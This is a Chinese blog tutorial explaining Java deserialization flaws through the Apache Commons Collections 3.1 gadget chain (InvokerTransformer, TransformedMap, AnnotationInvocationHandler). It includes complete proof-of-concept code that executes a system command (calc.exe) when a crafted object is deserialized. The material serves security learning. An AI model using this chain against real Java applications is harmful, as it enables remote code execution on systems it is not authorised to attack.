6-Web安全——java反序列化漏洞利用链
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了6-Web安全——java反序列化漏洞利用链相关的知识,希望对你有一定的参考价值。
本篇将学习java反序列化漏洞原理,然后结合一个apache commons-collections组件反序列化漏洞来学习如何构造利用链。
我们知道序列化操作主要是由ObjectOutputStream类的 writeObject()方法来完成,反序列化操作主要是由ObjectInputStream类的readObject()方法来完成。当可序列化对象重写了readObject方法后,在反序列化时一般会调用序列化对象的readObject方法。
在Student类中重写ObjectInputStream类的readObject方法
package com.test;
import java.io.*;
class Student implements Serializable {
private int id;
private String name;
private float score;
private transient String address;
public Student(int id, String name, float score, String address) {
this.id = id;
this.name = name;
this.score = score;
this.address = address;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", score=" + score +
", address='" + address + '\\'' +
'}';
}
//重写父类的readObject方法
private void readObject(java.io.ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
System.out.println("readObject......");
//调用默认的readObject方法
objectInputStream.defaultReadObject();
//在重写的readObject方法中自定义要做的事情
//调用pc的计算器
Runtime.getRuntime().exec("calc.exe");
}
}
class Serialize {
public static Student Student_Unserialize() throws IOException, ClassNotFoundException{
File file = new File("stu.txt");
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Student student = (Student) objectInputStream.readObject();
objectInputStream.close();
System.out.println("反序列完成......" + student);
return student;
}
public static void Student_Serialize() throws IOException{
File file = new File("stu.txt");
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
Student student = new Student(10,"liubei",66.5f, "beijing");
objectOutputStream.writeObject(student);
//objectOutputStream.writeObject("hello world");
objectOutputStream.close();
System.out.println("序列化完成......");
}
}
public class Serialize_Test3 {
public static void main(String[] args) throws Exception {
Serialize.Student_Serialize();
Serialize.Student_Unserialize();
}
}
当Student_Unserialize()方法内部调用readObject进行反序列化,会调用Student类中重写后的readObject方法,执行calc.exe调用电脑的计算器,如下所示
反序列化漏洞产生的原因是可序列化对象重写readObject方法并定义了一些危险的操作导致的(例如调用Runtime类的exec执行系统命令),但在实际的开发中,处于安全考虑并不会直接在readObject方法定义一些危险的操作,这就需要通过反射链来执行我们想要的操作。
反射链有点类似于php反序列化中的pop利用链,将一些可能的调用组合在一起形成一个完整的,具有目的性的操作,最终通过反射链达到漏洞的利用。
接下来通过一个反序列化漏洞学习反射链如何构造。
apache commons-collections组件反序列化漏洞环境
jdk1.7.0_80
commons-collections3.1
apache commons-collections组件是一个基于java标准库的集合框架扩展的第三方工具库,提供了很多集合工具类,该组件的Transformer接口存在反序列化漏洞,实现了Transformer接口的类有ChainedTransformer,ConstantTransformer,InvokerTransformer这几个类。
先来看一下最简单的漏洞利用poc:
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Poc2Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
transformedMap.put(null,transformerChain);
}
}
简单说明一下这个poc程序的利用链流程:
1. 首先创建了一个Transformer[]数组,在数组中使用了ConstantTransformer和InvokerTransformer两个类创建了4个对象,这一段是漏洞利用的核心代码
2. 将transformers数组存入ChaniedTransformer类
3. 创建Map并转换为链
4. 触发漏洞利用链,利用漏洞
先来看这段漏洞利用的核心代码:
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
通过Transformer[]数组来创建对象,Transformer是一个接口,该接口有一个transform方法,这个方法的作用是将一个对象转换为另一个对象,通过查看源码发现ConstantTransformer和InvokerTransformer两个类也都实现了Transformer接口。
创建第一个对象时会调用ConstantTransformer的构造,将Runtime作为参数,然后构造方法内部会将传入的Runtime的class对象赋值给成员属性iConstant
ConstantTransformer类中的transform方法作用是将属性iConstant返回
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer类中的transform方法实现如下
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
//获取class对象
Class cls = input.getClass();
//获取class对象的某个方法
Method method = cls.getMethod(iMethodName, iParamTypes);
//执行class对象的某个方法
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
transform方法主要是获取传入参数的class对象,然后根据iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法。
这三个成员属性的值是通过InvokerTransformer类的构造来赋值的
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
创建完这几个对象后,将transformers数组传给ChaniedTransformer类,该类也实现了Transformer接口的transform方法
//构造方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
//实现的transform方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ChaniedTransformer类的构造方法会将transformers数组赋值给iTransformers 成员属性,而transform方法主要是遍历iTransformers 数组,并根据数组中每一个具体的对象元素调用不同的transform方法,如果遍历到的对象元素类型是InvokerTransformer对象,那么就会调用InvokerTransformer对象的transform方法执行反射操作。
也就是说,ChaniedTransformer类中的transform方法会将之前利用链(创建的4个对象)都组合起来,最终形成的伪代码:Runtime.class.getMethod("getRuntime",null).invoke(null).exec("calc.exe") 。解释一下这里为什么要通过反射的方式获取Runtime对象和方法。
原因在于Runtime类没有实现Serializable可序列化接口,ConstantTransformer(Runtime.class)这一步操作是获取Runtime的class对象,由于Class类实现了Serializable接口,通过让Runtime继承Class<T>类也可以实现可序列化
我们可以得到这样一个利用链:
下一步要做的事情就是寻找哪些类调用了ChainedTransformer的transform方法并且实现了Serializable接口,经过一番查找,最终在apache commons-collections组件找到LazyMap类和TransformedMap这两个类,同时这两个类也都实现了Serializable接口。
先来看TransformedMap类,这个类中有三个方法内部调用了transform方法,分别为checkSetValue,transformKey,transformValue这三个方法,但是这三个方法的都是protected(受保护)权限,只能在类内部调用,我们需要找别的触发链,寻找有哪些方法调用了这三个方法。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
接着又在TransformedMap类中找到了一个public访问权限的decorate方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
decorate方法会通过TransformedMap的构造方法创建一个TransformedMap并返回,该方法要求传入三个参数,参数1是一个Map类型,其他两个参数都为Transformer 类型,TransformedMap的构造方法会将参数二和参数三赋值给成员属性keyTransformer和valueTransformer。
decorate方法还不足以触发利用链,接着我们在TransformedMap类中找到一个public权限的方法:
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
put方法内部调用了transformValue方法,通过调用transformValue方法来间接调用transform方法,但是transformValue方法中内部是由TransformedMap类的成员属性valueTransformer来调用transform方法的,因此decorate方法还有一个作用就是将transformerChain传给valueTransformer属性,当调用put方法时就可以触发利用链。
以上只是为了介绍apache commons-collections组件反序列化漏洞的利用链是如何构造的。
如果想要触发反序列化漏洞的话,还需要找到一个可序列化对象重写readObject方法并且内部操作了Map,于是我们在jdk中找到一个sun.reflect.annotation.AnnotationInvocationHandler类,该类实现了Serializable接口并且还重写了readObject方法,如下所示:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
上面那个readObject方法是新版jdk的,不太容易分析,我们看一下jdk旧版本的readObject方法
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
}
catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
}
}
}
}
AnnotationInvocationHandler类实现了InvocationHandler接口,还有一个final的成员属性memberValues,其数据类型为Map
在旧版本的readObject方法中,AnnotationInvocationHandler类在重写的readObject方法使用for循环获取了memberValues的entrySet()键值对,进行了setValue操作,也就是说readObject方法所做的事情就是对memberValues.entrySet()中的每一项memberValue进行了setValue操作。
这里的memberValues指的是TransformedMap(如果不理解这一步的话,先往下看,后面还会介绍memberValues),再回到新版jdk中AnnotationInvocationHandler类的readObject方法中
//获取TransformedMap的entrySet迭代器
Iterator var4 = this.memberValues.entrySet().iterator();
//再通过entrySet迭代器获取一个Entry
Entry var5 = (Entry)var4.next();
实际上var5就是TransformedMap的Entry,var5.setValue()相当于TransformedMap调用了put方法
这里有一个问题:TransformedMap中的EntrySet是从哪来的?
通过查看TransformedMap类的体系结构发现,TransformedMap类继承了AbstractInputCheckedMapDecorator类, 而AbstractInputCheckedMapDecorator类继承了AbstractMapDecorator类,AbstractMapDecorator这个类实现了Map接口,TransformedMap的entrySet是调用了AbstractInputCheckedMapDecorator类中的entrySet方法返回一个EntrySet(entrySet的调用流程有些复杂,这里不详细展开,大家自行调试跟踪分析)。
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
这里调用entrySet方法会传入两个参数,map就是我们创建的HashMap,这里的this对象指的是transformedMap。
实际上是返回了AbstractInputCheckedMapDecorator类中的静态类EntrySet对象,并将传入的this对象赋给parent成员属性
static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
}
parent调用了一个很关键的方法,parent成员属性定义如下:
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
前面var5.setValue()是调用了TransformedMap的setValue方法的说法并不严谨,实际上是调用了TransformedMap的父类AbstractInputCheckedMapDecorator中的静态类MapEntry的setValue方法
setValaue方法中的parent调用了checkSetValue方法,实际上是调用transformedMap的checkSetValue方法,通过checkSetValue方法间接调用transform方法,也就是说transformedMap的setValue操作最终会触发反序列化漏洞的利用链,apache commons-collections组件反序列化漏洞的利用链。
现在我们还剩下最后一个问题没有解决:如何获得AnnotationInvocationHandler类对象并将transformedMap传给AnnotationInvocationHandler类?
通过查看AnnotationInvocationHandler类的具体实现可以看到该类的构造方法要求传入两个参数,参数var1为Class类型,var2为Map类型,我们重点关注var2参数。
但是AnnotationInvocationHandler类的访问权限不是public,默认只有在同一packge下才能访问,因此只能通过反射机制获取AnnotationInvocationHandler类构造方法对象,再通过newInstance方法传入transformedMap参数,调用指定的构造创建AnnotationInvocationHandler对象,把transformedMap传给var2参数。
接着AnnotationInvocationHandler的构造方法会把var2赋值给memberValues成员属性,这一步验证了前面我们说readObject方法中的memberValues其实就是transformedMap。
现在所有的疑问都解决了,来看一下apache commons-collections组件反序列化漏洞的最终payload:
package com.test;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import org.apache.commons.collections.map.TransformedMap;
public class PocTest implements Serializable {
public static void main(String[] args) throws Exception{
//核心利用代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将数组transformers传给ChainedTransformer,构造利用链
Transformer transformerChain = new ChainedTransformer(transformers);
//触发漏洞
Map map = new HashMap();
map.put("value", "test");
//通过反射触发利用链
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance=ctor.newInstance(Target.class, transformedMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
}
}
先调用writeObject方法把AnnotationInvocationHandler对象进行序列化,然后再通过readObject方法进行反序列化,由于AnnotationInvocationHandler对象重写了readObject,接着会调用重写的readObject,然后在该方法中var5.setValue()操作就会触发之前构造的反序列利用链。
执行payload,成功弹出calc计算器
参考资料
以上是关于6-Web安全——java反序列化漏洞利用链的主要内容,如果未能解决你的问题,请参考以下文章